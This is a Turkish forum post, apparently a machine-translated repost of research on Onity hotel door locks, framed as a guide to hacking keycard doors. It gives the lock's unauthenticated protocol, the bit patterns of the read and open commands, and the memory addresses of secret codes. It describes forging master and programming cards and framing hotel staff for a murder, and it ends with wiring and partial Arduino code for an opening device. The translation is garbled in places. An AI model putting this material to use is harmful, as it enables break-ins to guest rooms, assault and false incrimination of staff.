Hoşgeldin Misafir

Akıllı Otel Kapı Sistemlerini Hacklemek

35izmir

35izmir

🆁🅴🅸🆂🅲🅸🆂🅴🆅🅴🆁
Kategori Yöneticisi
11 Ocak 2018
2,735 Mesaj
TIM Görevleri
1

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Selam Dostlar Şimdiki Yazımda KArtlı Kapılar Nasıl Hascklenir Ona Değiniceğim 
-



Onity kilit sistemi nasıl tasarlanmıştır?--

door.gif

--

Onity kilit sisteminin birkaç parçası vardır:--



  • Kodlayıcı: Bu, tuş kartlarını yapan cihazdır, fakat aynı zamanda tüm özellik bilgilerini de (örneğin oda listeleri, zaman çizelgeleri vb.) Saklar ve taşınabilir programlayıcıyı yüklemek için kullanılır.
  • Taşınabilir programcı (veya PP): Kilidi konuk kodu anahtar değerleri, ana kodlar, zaman tabloları ve diğer bilgilerle programlar.
  • Kilitle: Bağlamımızda, öncelikle kapılar için kilitleme mantığını gerçekleştiren gerçek devre kartıyla ilgileniyoruz. Dış kapılar ve misafir odası kapıları gibi çoklu kilit konfigürasyonları vardır, fakat çoğunlukla konuk odası kilitleri hakkında konuşacağız.


Kodlayıcı, kartlardaki kriptografiyi ele alırken sistemde önemli bir rol oynamasına rağmen, öncelikle PP ve kilit ile ilgileniyoruz-.--



Bu, Sistem tarafından rastgele atanan 32 bit bir koddur. Bir otel özelliğini benzersiz bir şekilde tanımlar ve tüm sistemin güvenliğinin anahtarıdır. Site kodu, kartları şifrelemek / şifresini çözmek, kilitleri programlamak ve kilitleri açmak için kullanılır.---



lightbulb-dark-1200.gif


Bu nedenle, Kapı kodu normalde kimseye, hatta mülk sahiplerine açık değildir.---



Kod anahtarı değerleri-
---

Kod anahtarı değerleri 24 bit veriden oluşur ve kilitlere giriş elde etmek için kullanılır. Bir kilit bir konuk kod anahtarı değeri ve genellikle bir veya daha fazla ana kod anahtarı değeri içerir.--



giphy.gif
--



Kilidi her misafir için yeni bir program yapmak yerine veya ana anahtar kartların yapılması gerektiğinde, 'kart döngüsü' adı verilen bir kavram kullanılır. Kilit, bir anahtar kartın kilidinin ne kadar ileride olabileceğini ve hala nasıl çalışabileceğini belirleyen, genellikle 50 olan bir genel bakış değeri ile programlanır. 123 kodlu bir konuk kartı, 100 kodlu bir kapı anahtarında kullanılıyorsa, kartın geçerli olması için lookahead değerinin en az 23 olması gerekir. Kilidi geçerli bir kart takıldığında, kilidin kod anahtarı değeri karttaki değere taşınır. Bu, yeni kartlar kullanıldığında, kilidi eski kartları otomatik olarak geçersiz kılar.--



giphy.gif
-



Lookahead- değerinin, kod anahtarı değerinin ana alanını etkin bir şekilde azalttığını unutmayın. -24 bitlik bir kod anahtarı değeri 16,7 milyon benzersiz değere sahiptir-, ancak bu aralıktaki herhangi bir kart geçerli olacağından, bu durum görünüm artı artı değerine bölünür. Böylece 50 (standart) bir görünüme sahipseniz, ana alan yalnızca 328965 değerine düşürülür. -Alın konumu maksimum 255 -olarak ayarlandığında, ana alan yalnızca -65536- değerine düşürülür. Bu, en kötü durumda bile, açmak için ortalama bir kapı içinde -32768 kartı denemeniz gerektiği anlamına gelirken, bu başka bir soruna neden olur.--

İki kapı kod anahtarı değerinde, yakın değerlerinin üst üste geleceği kadar yakın olursa, bir kapı için tasarlanan meşru bir misafir kartının aynı tesiste başka bir kapı açması mümkündür. Kapılara ilk kod anahtarı değerleri atandığında, bunu daha az olası kılmak için bunlar 1000 ile ayrılır. Ancak, tüm kapılar bir otelde eşit olarak oluşturulmamıştır; Bazı odaların diğerlerinden daha yüksek bir ciro görmesi büyük olasılıkla kod anahtarı değerlerinin üst üste gelmesi muhtemel bir duruma yol açmıştır.----





tenor.gif
--

Kimlik değerleri--
-

Her kartta 16 bitlik bir ---

Kod:
ident



değer var. Bir konuk kartında, bu iki şeyi belirtir: kartın hangi kapı için amaçlandığı ve hangi kartın kopyalanacağı. Ana kartta, kartın amaçlandığı kapıyı belirtmek yerine, kartın amaçlandığı personeli belirler.-

Otele giriş yaparken, genellikle odanız için birden fazla anahtar kart isteyebilirsiniz; bunlar kopyalar. 6 nolu özdeğer değerinin alınması size kopya numarasını verecektir. Sıfır, asıl kart olduğu anlamına gelir, 1-4 arası benzersiz numaralandırılmış kopyalar ve beşi, beşinci veya daha yukarı kopya anlamına gelir. Kapılar, 'alanın' kopyasına izin vermek için veritabanına uygun şekilde yerleştirilmiştir.---

Unutulmaması gereken önemli şey, kilidin kendi kimlik değerinin ne olduğunu bilmemesidir. Kimlik değeri, kodlayıcı kullanılarak okunduğu takdirde kartları tanımlamak için kullanılır ve kilit için denetim günlüğünde saklanır.---



Denetim günlüğü--

Açıklıklar raporu olarak da bilinir, bu, kilide erişmek için hangi kartların kullanıldığı (kimlik değeriyle), PP üzerindeki açma fonksiyonunun kullanımı ve yeni konuk anahtar kartlarının getirilmesi gibi bilgileri içeren bir kayıttır. Her giriş, 16 bitlik bir tanım (veya kullanılan açık işlev gibi özel olaylarda sahte kimlik değeri) ve ardından 16 bitlik bir zaman damgasıdır.---

Restrict-Movement-full.gif
---

Özel kartlar--

Çok sayıda özel kart varken, bu tartışma için en önemlileri programlama kartı ve yedek kart. Bir kapıya bir programlama kartı sokulduktan sonra bir yedek kart kullanıldığında, yedek kart kapının misafir kartı olur.--



Programlama kartları ve yedek kartlar, genellikle kodlayıcı arızası durumunda oluşturulur, böylece normal anahtar kartlar yapılamadığında konuklar otele bakmaya devam edebilir. Bununla birlikte, eğer programlama kartları oluşturulabiliyorsa, oteldeki herhangi bir kapıya girilebilmesi nedeniyle yeni bir risk oluştururlar.--

Programlama kartları, diğer herhangi bir kartta olduğu gibi, mülkün site kodu ile şifrelenirken, yedek kartların hiçbir şekilde şifrelenmediği ve sadece artan bir değer içerdiği belirtilmelidir.--





Kurmak--



Kodlayıcının Onity tarafından ayarlanması üzerine, özellikteki kapılar, atanan kimlik değerleri ve başlangıç kod anahtar değerleri ile birlikte veritabanına yüklenir. Otel personeli kapı verilerini- kodlayıcıyı kullanarak taşınabilir programlayıcıya yükleyecektir-. Kilitler özelliğe monte edildiğinde, uygun kod anahtarı değerleri ve ana verilerle birlikte taşınabilir programlayıcı kullanılarak başlatılırlar. Bu aynı zamanda kilitli piller değiştirildiğinde, belleğin kaybolmasına neden olan bir işlemdir.--



giphy.gif
--

Konuk check-in--

Bir misafir otele giriş yaptığında, Onity sistemindeki ilk adım bir veya daha fazla anahtar kart oluşturmaktır. Oda adı / numarası enkodere girilir, ardından kalış gecesi sayısı (son kullanım için) ve yapılacak kart sayısı takip edilir. Kartlar sırayla yerleştirilir ve odaya uygun verilerle kodlanır.---

Konuk kartını ilk defa kilide yerleştirdiğinde, birkaç şey olur:---



  1. Karttaki doldurma bitleri onaylanır ve bunlar yanlış biçimlendirilmişse kilit derhal reddeder
  2. Kartın kilidindeki site kodu kullanılarak şifresi çözülür.
  3. Karttaki sağlama toplamı onaylandı ve eşleşmediği takdirde kilit kartı reddediyor
  4. Son kullanma tarihi bayraklar ve kartın hangi vardiya ile birlikte kontrol edilir, geçerli zamanlar içinde değilse kartı reddeder
  5. Son olarak, kod anahtarı değeri kontrol edilir ve görünüm alanı dahilindeyse, kilit açılır.




giphy.gif




Otel anahtar kartında neler var--

Anahtar kartın bazı kısımları daha önce tartışılmış olsa da, aşağıdakiler yapısının tam bir dökümüdür:---

  • 16 bit kimlik değeri
  • 8-bit bayraklar bayt
  • 16 bit son kullanma tarihi
  • 8 bitlik yetkilendirme baytı (bu tartışma ile ilgili değil)
  • 24 bit bilinmiyor (sıfır)
  • 24 bit kod anahtar değeri
Bu daha sonra mülkün site koduyla şifrelenir ve standart bir magstripe kartının 3. izinde saklanır. Kripto algoritması için kod bu yazının ek B kısmındadır.---



İletişimi kilitle--

Kilit ile iletişim, iki yönlü tek kablolu protokol üzerinden gerçekleşir. Kilidin altında, kapının dışında, güç için daha yaygın olarak kullanılan bir DC varil konektörü vardır. Bu, verileri bir telde ve diğerinde taşır.--

Bunun da ötesinde, hafızanın okunmasını ve kilidin açılmasını sağlayan üst düzey protokol vardır. Taşınabilir programcı tarafından gerçekleştirilen ve bu belgede açıklanan güvenlik açıklarıyla ilgili olmadıkları ve bir açıcı cihaz için gerekli olmadıkları için içinde belgelenmeyen başka birçok işlev vardır.--



Tel protokolü --Temel kavram--



Tüm iletişimleri yönlendiren kilitle “ana” olarak iletişim kuran cihaza başvuracağız.--

Hat, çekme direnciyle 3.3v'de yüksek rölantide. Hem master hem de kilit, vuruşu denilen belirli bir süre boyunca çizgiyi alçakta (topraklama) çekerek iletişim kurar. İletişim, patlamalarda gerçekleşir, "master" olarak adlandırırız. Master, aralarında 200 mikrosaniye ile 20 mikrosaniye senkronizasyon S,nyali gönderir (kenardan kenara). Gerçek iletişim bu senkronizasyon darbeleri arasında gerçekleşir; Bu senkronizasyon darbeleri arasında 12 mikrosaniyelik bir veri darbesi meydana gelirse, cihaz bir bit iletir. Bir veri darbesinin yokluğu sıfır bit olarak kabul edilir.--



Burada dikkat edilmesi gereken en önemli şey, ana veya kilit veri darbelerinde iletişim kurabiliyor olsa da, senkron darbeleri her zaman ana tarafından üretilir.--



Grup yapısı--

Yukarıda belirtildiği gibi, gruplar aralarında veri darbeleri olan (veya değil) tekrarlanan senkronize darbelerden oluşur. Tüm grupların hiçbir veri darbesinin takip edemeyeceği bir son senkronizasyon darbesine sahip olduğuna dikkat edilmelidir.---

Deneysel sonuçlara göre gruplar 500 mikrosaniyeden az olmamalıdır; standart zamanlama 2700 mikrosaniyedir.---

Master’dan kilide veri göndermek için bir girişe gerek yoktur; bunun yerine grupları sırayla göndermeye başlarsınız. Bununla birlikte, kilit kendi senkronizasyon darbelerini üretemediğinden, master'a göndermek istediğini belirtmelidir. Bunu, aksi halde rölantide iken, hattı 120 mikrosaniye düşürerek çekerek yapar. Kilit bunu yaptığında, master senkron darbeleri oluşturmaya ve kilidin veri darbelerini izlemeye başlamalıdır.---

Yüksek seviye protokolü--

Aşağıda ilgili üst düzey komutlarla ilgili detaylar bulunmaktadır. Not: 'baytlara atıfta bulunurken, ilk önce en az anlamlı bit gönderilen 8 bit anlamına gelir.---

Sağlama toplamı ile ilgili bir not--

Her üst düzey komut kendi "sağlama toplamı" değerlerine sahip görünüyor, gerçekten sadece kendileri ile XORed değerleri ve komuta özgü bir sabit. Bu sabitlerin nereden geldiği veya protokolü daha karmaşık hale getirme amaçlı basit rastgele sabit kodlanmış değerler olup olmadıkları bilinmemektedir.---

Komutu oku--

Read komutu, 16 bitlik bir bellek adresini alır ve bu adresten 16 byte'lık bellek döndürür. Bu, adres 0'dan sonra adres 1'den okursanız, 15 bayt çakışma göreceğiniz anlamına gelir; genellikle bir seferde üst üste binmeyen 16 baytlık satırları okumak istersiniz.---

Okuma komutu tek bir grup halini alır: ---

Kod:
00000000000000000000000000000000000000001010001111AAAAAAAA1BBBBBBBB1CCCCCCCC

-
. --

Kod:
A

-
Bayt, hafıza adresine yüksek 8 bit okumaktır --

Kod:
B

-
düşük 8 bittir. --

Kod:
C

-
Bayt gerçekleştirerek türetilmiş bir sağlama toplamı --

Kod:
A ^ B ^ 0x1D

-
.--

Bu bir kez gönderildikten sonra, kilit göndermek için sinyal gönderir ve 165 bitlik bir grup iletir. 13 başlangıç bit bilinmeyen yardımcı program, ardından 16 9 bit bayt (her biri 1 bit takip eder), ardından 8 bit izler (bu protokolde normalde olduğu gibi) bir sağlama toplamı olarak kabul edilir.---



Aç komutu--

Open komutu 32 bitlik bir site kodunu alır ve - kilidinde saklananla eşleştiğini varsayarsak - kilidin hemen açılmasını sağlar.---

Open komutu birkaç grup şeklini alır. Sırayla burada listelenir:---


  • 00000000000000000000000000000000000000001010001001AAAAAAAA1BBBBBBBB1CCCCCCCC1DDDDDDDD1SSSSSSSS000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100110101111001010
Kod:
A


, ---

Kod:
B

-
, --

Kod:
C

-
Ve --

Kod:
D

-
bayt sırasıyla sitecode birinci, ikinci, üçüncü, ve dördüncü bayt. --

Kod:
S

-
Bayt gerçekleştirerek hesaplanan bir sağlama toplamı vardır --

Kod:
A ^ B ^ C ^ D ^ 0xDD

-
.--

Kilit, bu durumda başarı veya başarısızlık ne olursa olsun yanıt göndermez, ancak site kodu doğruysa açılacaktır.---

Hafızayı kilitle--

Kilit iletişim protokolü hakkında önceden ayrıntılı bilgi sayesinde, tüm belleği okuyabilir ve ardından site kodu verilen kilidi açabiliriz. Ancak, site kodunun bulunduğu hafıza adresini bilmeniz gerekir.---

Aşağıda standart misafir odası kilidi için birkaç anahtar bellek adresi bulunmaktadır. Duvar okuyucular (oteller için genellikle dış kapılarda kullanılan) gibi diğerlerinde biraz farklı hafıza haritaları olabilir.---

  • Site Kodu: 0x114'te 4 bayt
  • Programlama kartı kodu: 0x124'te 3 bayt
  • Kod tuşları: 0x412C
Kod anahtarları adresi, bir dizi farklı değer içerir. İlki, 3 baytlık konuk değeri ve ardından bir 0x00 baytlık konuk değeridir. Bundan sonra, birçok ana kod vardır. Bunların her biri 3 bayttır ve geçerli bir usta, aksi takdirde 0xFF bayt ise bir 0x80 bayt izler; Son giriş (onu izleyen 0xFF ile) daima geçersizdir.---

Kart şifreleme--

Daha önce de belirtildiği gibi, anahtar kartlardaki şifreleme, anahtar olarak site kodu kullanılarak yapılır. Algoritmanın şu anda özel olduğu düşünülmekte ve bu makalenin yayınlanmasına kadar halka açık değildi. Düzgün belgelenmemiş, ancak Ek B'de bir Python uygulaması mevcuttur.---

Algoritmanın kusurları üzerine araştırmalar devam etmektedir, ancak mevcut küçük anahtar alana (sadece 32 bit) ve mevcut bilinen düz metne göre, basitçe kaba kuvvet uygulamak mümkündür.---

güvenlik açıkları--

Burada, Onity kilit sisteminin içsel işleyişi hakkında birçok bilgi olmasına rağmen, bunların nasıl bir araya geldiğini anlamak zor.---

Açık fonksiyonu--

Kilit hafızasını okuma ve site kodunun hafızadaki yerini bilme yeteneği göz önüne alındığında, site kodunu okumak ve daha sonra bunu açma komutuna göndermek önemsizdir. Bu, kapıya anında erişim sağlar ve yalnızca denetim günlüğünde kullanılan PP'nin açılış işlevi olarak gösterilir.---

Bu, saniyenin çeyreğinde yapılabilir ve böyle bir saldırıyı gerçekleştiren bir cihaz ek A'da ayrıntılı olarak açıklanmıştır.---

Master kart oluşturma--

Kilidin hafızasını okuma kabiliyetimiz nedeniyle, aynı şekilde ana kod anahtarı değerlerini kilitten okuyabilir ve sonra kendi ana anahtar kartlarımızı üretebiliriz. Bunlar, çalışanlara verilenlerle aynı şekilde davranacak ve bu ana kodu içeren herhangi bir kapıya giriş kazanacaktır.---

Bu, elbette her kapı için tek bir kartın işe yarayacağı anlamına gelmez, çünkü ustalar bir mülk arasında bölünebilir. Örneğin, bir otel ustaları, her biri bunlardan birine atanan bir temizlik grubu olmak üzere üç ana tip olacak şekilde yapılandırabilir. Böyle bir yapılandırmada, bu ana anahtarlardan birine erişim kazanmak, mülkün yalnızca üçte birine erişmenizi sağlar.---



Programlama kartı oluşturma--

Belleğe erişim sayesinde, mülk için site kodunu ve programlama kart kodunu alabiliyoruz. Bunlarla her kilit için çalışacak bir programlama kartı oluşturabiliyoruz. Yedek kart oluşturmak, mülk hakkında bilgi sahibi olmayı gerektirmez veya kilitler ve önceden yapılabilir.---

Kapıdaki programlama kartını kullandıktan sonra, sadece yedek kartı taktığınızda kilit açılacaktır. Gelecekte, bu yedek kartı tekrar kullanmak ve en azından yeni bir misafir kartı tanıtılıncaya kadar sürekli erişim sağlamak mümkündür.---



Yedek kart manipülasyonu--

Kripto eksikliği ve yedek kartların aşamalı olarak yaratılmasından dolayı, başka bir odaya erişmek için yedek kart değerlerini değiştirmek mümkündür.---

Kodlayıcının hizmet dışı kaldığı ve konuklar yedek kart kullanarak personel tarafından elle kontrol ediliyor. 1234 değerinde bir yedek kart verilirse, bunu 1233 veya 1235 olarak değiştirebilir ve kapılara erişmeyi deneyebilirsiniz. Kartın artımlı doğası nedeniyle, mülkün kapıya girmesine izin vermesi büyük olasılıkla muhtemeldir, ancak hangi kapının açılacağının belirlenmesi diğer bilgiler olmadan kabaca imkansız olacaktır.---

Temel şifreleme sonları--

Küçük ana alan ve ana kartlardaki gerçek şifreleme eksikliği göz önüne alındığında, gerçekleştirilebilecek birkaç basit saldırı vardır. Daha sonra belirtildiği gibi, kriptografiyi daha da analiz etmek için yapılabilecek ve yapılması gereken daha çok iş var.---

Kartların şifrelenmesinin bir sonucu olarak, her bir bayt için site kodunun sadece küçük bir kısmı kullanılır ve bu, site kodunu belirlemek için bilinen ilişkilerle birlikte kullanılabilir. Örneğin, bir otel odasına girip iki anahtar kartı alırsanız, bunlar arasında farklılık gösterecek tek şey kimlik alanının tek bir kısmıdır. Aynı şekilde, birden fazla kartın son kullanma tarihini biliyorsanız, bunlar arasındaki farkları bir kılavuz olarak kullanabilirsiniz.---

Bu çalışma sadece çok elverişli ve bir kriptanalist tarafından gerçekleştirilmemiştir ve gelecekte çok daha fazla çalışmanın yapılması gerekmektedir. Söylemeye gerek yok, söz konusu kriptografi hiçbir şekilde güvenli değildir ve güvenilmez, sıfırdan inşa edilmiş ve on yıldan fazla bir süre boyunca gizli tutulmalı ve 32 bitlik anahtar alanı verilmiştir.---

Cinayet için otel personeli çerçeveleme--

Kilidin tüm hafızasını okuyabilme özelliği göz önüne alındığında, ana anahtar kart kodlarına erişmek mümkündür. Bunlarla - şifreleme için site koduyla birlikte - tesisteki kilitlere erişebilecek ana kartlar oluşturmak mümkündür.---

Varsayımsal bir duruma bakalım:---



  • Saldırgan, kilidin hafızasını okumak için söz konusu güvenlik açıklarını kullanır.
  • Saldırgan, bir veya daha fazla ana kart oluşturmak için site kodu ve ana anahtar kart kodlarını kullanır.
  • Saldırgan, odaya girmek için bir ana kart kullanıyor
  • Saldırgan odadaki kurbanı öldürüyor
  • Saldırgan kaçar
Soruşturma sırasında, suçlu araştırmacıların, kilitlemenin denetim raporuna bakıp, saat kaçta kapıya kimin girdiğini görmesi mümkündür. Bunun üzerine ---

Kod:
ident

-
, ölüm zamanının yakınında odaya erişmek için bir ana anahtar kart kullanarak (anahtar kartlar alanda benzersiz şekilde tanımlandığı için ) belirli bir personel üyesini göreceklerdir .--

Ölüm anında odaya bir personel yerleştiren bu tür kanıtlar cinayet davasına zarar verebilir ve en azından bu personelin baş şüpheli olmasını sağlayabilir. Personel üyesinin durumunu desteklemek için diğer faktörler (örneğin kapalı devre kameralar, görgü tanıkları vb.) Kullanılabilirken, denetim raporunun yanlış olup olmadığını bilmemiz mümkün değildir.---

Sonuç--

Bu yazıda, Onity otel kilidinin sağlaması amaçlanan her güvenlik seviyesine yönelik saldırılar gösterdik.---

  • Kilit iletişim portu kimliği doğrulanmamış ve keyfi belleğin okunmasını sağlayan doğrudan belleğe erişim sağlar. Sistemin temel bilgileri ile birleştirildiğinde, bu bir saldırganın doğrudan kapılar açmasına, ana anahtarlar oluşturmasına ve tüm özellikler için programlama kartları oluşturmasına izin verebilir.
  • Anahtar kartlarda kullanılan şifreleme doğal olarak hatalı ve en önemsiz kaba kuvvet saldırılarını bile mümkün kılan çok küçük bir anahtar alanı kullanıyor. Bu amaçla yapılacak gelecekteki çalışmalar, sistemin şifreleme yönünü daha da tehlikeye atabilir.
  • Uzun süredir kilit kullanımının güvenli bir kaydı olarak kabul edilen denetim raporunun, bellekten anahtar oluşturma yeteneği nedeniyle aldatıcı olduğu gösterilmiştir. Kilit iletişim protokolünde gelecekteki çalışmaların hafıza yazılmasını sağlamak için denetim raporunun doğrudan değiştirilmesine izin verecekti.
Bu güvenlik açıkları için doğrudan herhangi bir azaltmaya sahip olmamakla birlikte, sistemik yapıları, bu güvenlik açıkları ile ilgili yeterli derecede ilgilenilene kadar Onity kilitlerinin kullanılmasına karşı yüksek öneride bulunmamızı tavsiye ediyor.---

Herhangi bir otelde kalan konuklar için, ilave bir koruma katmanı eklemek için mümkün olduğunda kapı zincirleri veya mandalların kullanılmasını öneririz. Elektronik kilitler üzerindeki sürgü kilit mekanizması tarafından çözülebildiğinden, yalnızca fiziksel saldırılara karşı koruma sağlar.---

ifşa--

Bu güvenlik açıklarının açıklığı (kullanılan gizli protokollerin dışında), etkileri ve azaltılmasının zorluğu göz önüne alındığında, bu bilgiyi kamuya açıklama kararı kolay değildi. Kesin olarak kesin olarak bilemeyeceğimiz bilinmemekle birlikte, bu kilitlerin geliştirilmekte ve piyasada olduğu 10 yıldan beri, Onity içinde bu konularla ilgili endişelerin ortaya çıktığından şüphelenmeliyiz.---

Bununla birlikte, çok fazla dikkate alındıktan sonra, bu açıklamanın olası kısa vadeli etkilerinin, eğer bilgi çok az sayıda kişi tarafından tutulursa otellere ve genel halka yapılabilecek uzun vadeli zarardan ağır basıldığına karar verildi.---

Gelecek iş--

Gelecekteki çalışmalar için aşağıdaki kategorilere ayrılabilecek birçok imkan var.---

Kriptografi--

Halen uygulandığı gibi algoritma analiz için belki de en uygun değildir. Algoritma ile ilgili belgeler, basit bir uygulamanın ötesinde, onu kriptograflara maruz bırakmada yardımcı olacaktır.---

Özel bir algoritma olduğundan şüpheleniliyor, ancak kullanıma hazır bir şey veya mevcut bir algoritmanın belki de değiştirilmiş bir sürümü olabilir.---

Protokolü ters--

Kilidi belleğe okumak mümkün olduğu kadar yazmak mümkün olduğu ve taşınabilir programcının da bunu yaptığı düşünülmektedir. Taşınabilir programlayıcının gerçekleştirdiği iletişimin analizi yoluyla, yazma komutunun formatını belirlemek mümkün olmalıdır.---

Bellek eşlemeyi kilitle--

Kilidin hafıza alanının sadece bir kısmı biliniyor ve sadece misafir odası kapıları için. Belirli değerlere sahip çeşitli kilitleri programlayarak veya çeşitli durumlara koyarak, tüm Onity kilitleri için tam bellek haritasını belirlemek mümkün olmalıdır.---

Mevcut işin BT kilitlerine uygulanabilir olup olmadığını belirleyin--

Onity'nin ticari (CT) kilitleri için kullanılan protokolün, otel kilitleri için kullanılanla aynı olmasa da kuşkumuz var. Bu nedenle, CT kilitlerine benzer analizler ve saldırılar yapmak mümkün olmalıdır.---

Ek A: Açılış cihazı--

Bu ek, Arduino platformunu temel alan bir açılış cihazının oluşturulmasını ve programlanmasını detaylandırmaktadır.---

Uyarılar--

Bu cihazın uygulanmasında, bazı kilitlerde çalışmasını önleyen bir hata var. Şu anda bunun, her baytın ilk bitinin bozulmasına neden olan bir zamanlama hatası olduğuna inanılıyor, ancak bu kesin değil.---

Ek olarak, bu cihazın mülkiyeti belirli ülkelerde kilit seçim yasaları kapsamında yasadışı olabilir; Bir açılış cihazı inşa etmeden önce bir avukata danışın. Normalde erişemeyeceğiniz alanlara erişmek için bu cihazın kullanımı yasa dışı olabilir. Bu cihaz için hiçbir garanti verilmemektedir ve sorumluluk kabul edilmeyecektir; kendi başınasın.---

Donanım Kurulumu--

Gerekli donanım:---

  • Arduino Mega 128
  • 5.6k direnç
  • DC (koaksiyel) varil konektörü, 5 mm dış çap, 2.1 mm iç çap
Direnci Arduino'daki 3,3v gücünden dijital IO pin 3'e takın. Dijital IO pin 3'ü DC konektöründeki iç kontağa takın. Arduino'dan toprağı DC konektöründeki dış kontağa takın.---

kroki--

Arduino'nun tamamının taslağı aşağıdadır. Kilidi bağlandığında, kilidi hemen açacaktır.---

Kod:
#define CONSERVATIVE

int ioPin = 3;
#define BUFSIZE 200
unsigned char buf[BUFSIZE];

#define pullLow() pinMode(ioPin, OUTPUT)
#define pullHigh() pinMode(ioPin, INPUT)

unsigned char dbits[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0};

unsigned char bits[][144] = {
  {
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    1, 0, 1, 0, 0, 0, 1, 0, 
    0, 1, 

    1, 0, 0, 0, 1, 0, 0, 0, 1, 
    1, 0, 1, 0, 0, 1, 0, 1, 1, 
    1, 1, 0, 0, 0, 0, 1, 1, 1, 
    0, 0, 0, 1, 1, 1, 0, 1, 1,

    1, 1, 1, 1, 1, 1, 1, 1, 
    0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 0, 0, 0, 0, 0
  }, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0}
};

unsigned char bval;

void wentLow() {
  bval = 1;
}

void setup() {
}

bool open() {
  pinMode(ioPin, OUTPUT);
  digitalWrite(ioPin, LOW);
  pinMode(ioPin, INPUT);
  digitalWrite(ioPin, LOW);

  for(int i = 0; i < sizeof(dbits); ++i) {
    if(dbits[i] == 0) {
      pullLow();
      delayMicroseconds(16);
      pullHigh();
      delayMicroseconds(190);
    } else {
      pullLow();
      delayMicroseconds(16);
      pullHigh();
      delayMicroseconds(56);
      pullLow();
      delayMicroseconds(16);
      pullHigh();
      delayMicroseconds(112);
    }
  }

  pullLow();
  delayMicroseconds(16);
  pullHigh();

  bval = 0;
  attachInterrupt(1, wentLow, FALLING);

  unsigned int i = 0;
  while(digitalRead(ioPin) == HIGH && i++ < 32767) {}
  if(i == 32767)
    return false;

  delayMicroseconds(20);
  for(int i = 0; i < 164; ++i) {
    buf[i] = 0;
    pullLow();
    delayMicroseconds(8);
    pullHigh();
    bval = 0;
    delayMicroseconds(184);
    buf[i] = bval;
  }

  for(int i = 0; i < 32+3; ++i)
    bits[0][50+i] = buf[22+i];

  for(int i = 0; i < 8; ++i)
    bits[0][86+i] = bits[0][50+i] ^ bits[0][50+9+i] ^ bits[0][50+18+i] ^ bits[0][50+27+i];
  bits[0][86] ^= 1;
  bits[0][87] ^= 0;
  bits[0][88] ^= 1;
  bits[0][89] ^= 1;
  bits[0][90] ^= 1;
  bits[0][91] ^= 0;
